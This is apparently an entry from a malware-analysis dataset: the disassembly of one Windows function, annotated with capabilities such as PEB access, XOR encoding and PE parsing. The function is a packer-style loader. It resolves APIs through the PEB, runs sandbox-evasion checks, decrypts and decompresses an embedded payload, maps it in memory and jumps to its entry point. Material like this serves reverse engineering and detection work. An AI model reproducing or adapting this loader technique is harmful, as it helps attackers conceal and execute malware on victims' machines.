Function at 0x3501709
Capabilities:
Access peb ldr_data
Compress data via winapi
Create directory
Encode data using xor
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
pop eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [eax + 0x18]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x248]
push eax
push 0
mov dword [ebp - 0x18], 5
call dword [sym.imp.mscms.dll_GetColorDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x7a
je 0x3501764
xor eax, eax
jmp 0x3501c57
mov edx, ebx
call fcn.03501685
mov edi, eax
mov dword [ebp - 0x30], edi
call esi
sub eax, 0x7a
je 0x350177f
push 4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push str.V:dshf_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call esi
sub eax, 3
je 0x3501797
push 1
jmp 0x3501779
call esi
add eax, 0x77
mov dword [ebp - 0x44], 0x1e1b1536
mov dword [ebp - 0x40], 0x8181336
mov dword [ebp - 0x3c], 0x3b03081b
mov byte [ebp - 0x38], 0x7a
lea ecx, [ebp - 0x44]
xor byte [ecx], al
inc ecx
cmp byte [ecx], 0
jne 0x35017b8
push str.LoadLibraryA
push ebx
call edi
push str.VirtualAlloc
push ebx
mov dword [ebp - 0x34], eax
call edi
push str.RtlDecompressBuffer
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call edi
push str.VirtualProtect
push ebx
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0x14], 0
je 0x3501c54
cmp dword [ebp - 0xc], 0
je 0x3501c54
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov ebx, dword [ecx + 0x104]
push 5
add ebx, eax
mov dword [ebp - 0x24], ecx
pop ecx
push 3
mov dword [ebp - 4], eax
lea esi, [ebx + 4]
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx]
pop esi
xor edx, edx
mov eax, ecx
div esi
push 4
push 0x3000
push 9
pop edi
xor edx, edx
push 7
mov esi, eax
mov dword [ebp - 0x10], eax
div edi
xor edx, edx
shr esi, 3
imul esi, esi, 0x14
mov edi, eax
mov eax, dword [ebp - 0x10]
imul edi, edi, 0xf
add edi, ecx
pop ecx
div ecx
add edi, esi
imul eax, eax, 0xc
lea eax, [eax + edi + 0x102f]
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x3501c54
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x104]
mov ecx, dword [ebp - 4]
lea edi, [eax + ecx + 0x18]
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
xor esi, esi
mov dword [ebp - 8], 0x14
shr eax, 3
test eax, eax
je 0x35018d6
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x2c], eax
push 8
lea eax, [esi + edi]
push eax
push dword [ebp - 0x10]
call fcn.03501667
mov eax, dword [ebp - 8]
add esp, 0xc
dec dword [ebp - 8]
lea esi, [esi + eax + 8]
jne 0x35018cd
mov dword [ebp - 8], 0x14
add dword [ebp - 0x10], 8
dec dword [ebp - 0x2c]
jne 0x35018a9
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
mov ecx, eax
and ecx, 7
je 0x35018f8
push ecx
sub eax, ecx
add eax, dword [ebp - 0x28]
add esi, edi
push esi
push eax
call fcn.03501667
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov esi, dword [eax + 0xdc]
add esi, dword [eax + 0x12c]
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
push 9
xor edx, edx
pop ecx
add esi, dword [ebp - 4]
xor edi, edi
mov dword [ebp - 8], 0xf
div ecx
mov dword [ebp - 0x20], eax
test eax, eax
je 0x350196a
and dword [ebp - 0x10], edi
mov dword [ebp - 0x2c], eax
push 9
lea eax, [edi + esi]
push eax
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
div ecx
add eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x28]
push eax
call fcn.03501667
mov eax, dword [ebp - 8]
add esp, 0xc
dec dword [ebp - 8]
lea edi, [edi + eax + 9]
jne 0x3501961
mov dword [ebp - 8], 0xf
add dword [ebp - 0x10], 9
dec dword [ebp - 0x2c]
jne 0x3501930
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
push 9
xor edx, edx
pop ecx
mov dword [ebp - 0x10], eax
div ecx
test edx, edx
je 0x350199a
mov eax, dword [ebp - 0x20]
imul eax, eax, 9
add eax, dword [ebp - 0x10]
push edx
add eax, dword [ebp - 0x28]
add edi, esi
push edi
push eax
call fcn.03501667
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov esi, dword [eax + 0x154]
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
div ecx
push 7
pop ecx
add esi, dword [ebp - 4]
push 0
pop edi
mov dword [ebp - 8], 0xc
add eax, edx
xor edx, edx
div ecx
inc eax
je 0x3501a08
and dword [ebp - 4], edi
mov dword [ebp - 0x20], eax
push 7
lea eax, [edi + esi]
push eax
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
div ecx
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2]
add eax, dword [ebp - 0x28]
push eax
call fcn.03501667
mov eax, dword [ebp - 8]
add esp, 0xc
dec dword [ebp - 8]
lea edi, [edi + eax + 7]
jne 0x35019ff
mov dword [ebp - 8], 0xc
add dword [ebp - 4], 7
dec dword [ebp - 0x20]
jne 0x35019cb
mov eax, dword [ebx]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
xor esi, esi
push esi
call dword [ebp - 0x14]
mov edi, eax
cmp edi, esi
je 0x3501c54
xor ecx, ecx
cmp dword [ebx], ecx
jbe 0x3501a42
mov dl, byte [ebp + esi - 0x48]
mov eax, dword [ebp - 0x28]
xor byte [eax + ecx], dl
inc esi
cmp esi, 0x13
jbe 0x3501a3d
xor esi, esi
inc ecx
cmp ecx, dword [ebx]
jb 0x3501a2b
push eax
mov eax, dword [0x350b056]
pop eax
mov ebx, dword [ebx]
lea eax, [ebp - 0x1c]
push eax
push ebx
imul ebx, ebx, 0xf
push dword [ebp - 0x28]
push ebx
push edi
push 2
call dword [ebp - 0xc]
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x3501c54
mov ebx, dword [edi + 0x3c]
add ebx, edi
xor eax, eax
cmp dword [ebx], 0x4550
mov dword [ebp - 0x20], ebx
jne 0x3501c56
cmp dword [ebx + 0xa0], eax
jne 0x3501a8c
mov eax, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
add ecx, 0x100
push ecx
push eax
call dword [ebp - 0x14]
mov esi, eax
test esi, esi
je 0x3501c54
mov eax, dword [ebx + 0x54]
add eax, dword [edi + 0x3c]
push eax
push edi
push esi
call fcn.03501667
and dword [ebp - 0x24], 0
xor eax, eax
add esp, 0xc
cmp ax, word [ebx + 6]
jae 0x3501aff
and dword [ebp - 4], eax
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 4]
lea eax, [eax + edi + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, edi
push ecx
add eax, esi
push eax
call fcn.03501667
movzx eax, word [ebx + 6]
add dword [ebp - 4], 0x28
add esp, 0xc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jb 0x3501acb
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0xc], eax
je 0x3501b78
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x3501b78
mov ebx, dword [ebx + 0xa4]
add eax, esi
add ebx, eax
jmp 0x3501b6e
mov ecx, dword [eax + 4]
and dword [ebp - 4], 0
sub ecx, 8
test ecx, 0xfffffffe
jbe 0x3501b6b
mov ecx, dword [ebp - 0x14]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov edi, 0x3000
cmp dx, di
jne 0x3501b57
mov edx, dword [ebp - 0xc]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 4]
add dword [ebp - 0x14], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 4], ecx
jb 0x3501b31
add eax, dword [eax + 4]
lea ecx, [eax + 8]
mov dword [ebp - 0x14], ecx
cmp eax, ebx
jb 0x3501b1f
mov ecx, dword [ebp - 0x20]
mov edi, dword [ecx + 0x80]
add edi, esi
cmp dword [edi], 0
je 0x3501c22
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x3501c54
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 4], edx
jne 0x3501bd7
mov ecx, dword [edi]
mov ecx, dword [ecx + esi]
lea ebx, [edx + esi]
test ecx, 0xf0000000
je 0x3501bc4
and ecx, 0xffff
jmp 0x3501bc9
add ecx, esi
add ecx, 2
push ecx
push eax
call dword [ebp - 0x30]
cmp dword [ebx], eax
je 0x3501c13
mov eax, dword [edi]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
add ebx, esi
jmp 0x3501c0e
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x3501bee
and eax, 0xffff
jmp 0x3501bf3
add eax, esi
add eax, 2
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x30]
mov dword [ebx], eax
test eax, eax
je 0x3501c54
mov eax, dword [edi + 0x10]
sub eax, dword [ebp - 4]
mov ecx, dword [ebx]
mov dword [eax + ebx], ecx
add ebx, 4
cmp dword [ebx], 0
jne 0x3501bde
add edi, 0x14
cmp dword [edi], 0
jne 0x3501b8c
mov ecx, dword [ebp - 0x20]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
pop eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov edx, dword [ecx + 0x28]
add edx, esi
mov dword [eax + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, esi
mov dword [ebp - 0x34], eax
call dword [ebp - 0x34]
jmp 0x350175d
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10